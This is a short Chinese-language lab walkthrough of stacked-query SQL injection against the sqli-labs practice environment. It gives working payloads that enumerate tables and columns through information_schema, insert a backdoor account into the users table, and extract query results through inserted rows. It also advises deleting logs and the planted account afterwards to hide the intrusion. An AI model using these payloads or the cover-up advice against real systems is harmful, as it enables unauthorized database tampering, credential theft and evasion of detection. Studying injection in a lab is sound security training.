原理
这种注入手法可以对数据库进行增删改查
而不是像之前一样只能查询数据


启动靶场
sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs

注入利用

开始试探

![]()

两次试探返回不一样,可能存在注入
试探结束

提取库中的所有的表
?id=-999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+

四个表:
emails
referers
uagents
users
获取指定表中所有的字段
?id=-999' union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1)%23

三个字段:
id
username
password
创建临时账户

这个账户创建后,可以利用这个账户直接登录对方数据库,当离开时,将日志和这个账户删除即可
账号创建
账号名baiyang,密码123456,位置为users表的20号位置
?id=1';insert into users(id,username,password)values(20,'baiyang','123456')%23
创建成功

查看结果

账号插入成功
查询已有账号和密码

将查询结果作为一个账号插入到数据库users表的第22行,然后让数据库直接正常返回第22行的数据,得到想要的子查询结果
将正常账号位改为子查询语句
select database()
修改查询ID
![]()
插入并查询成功

当前连接的数据库名为security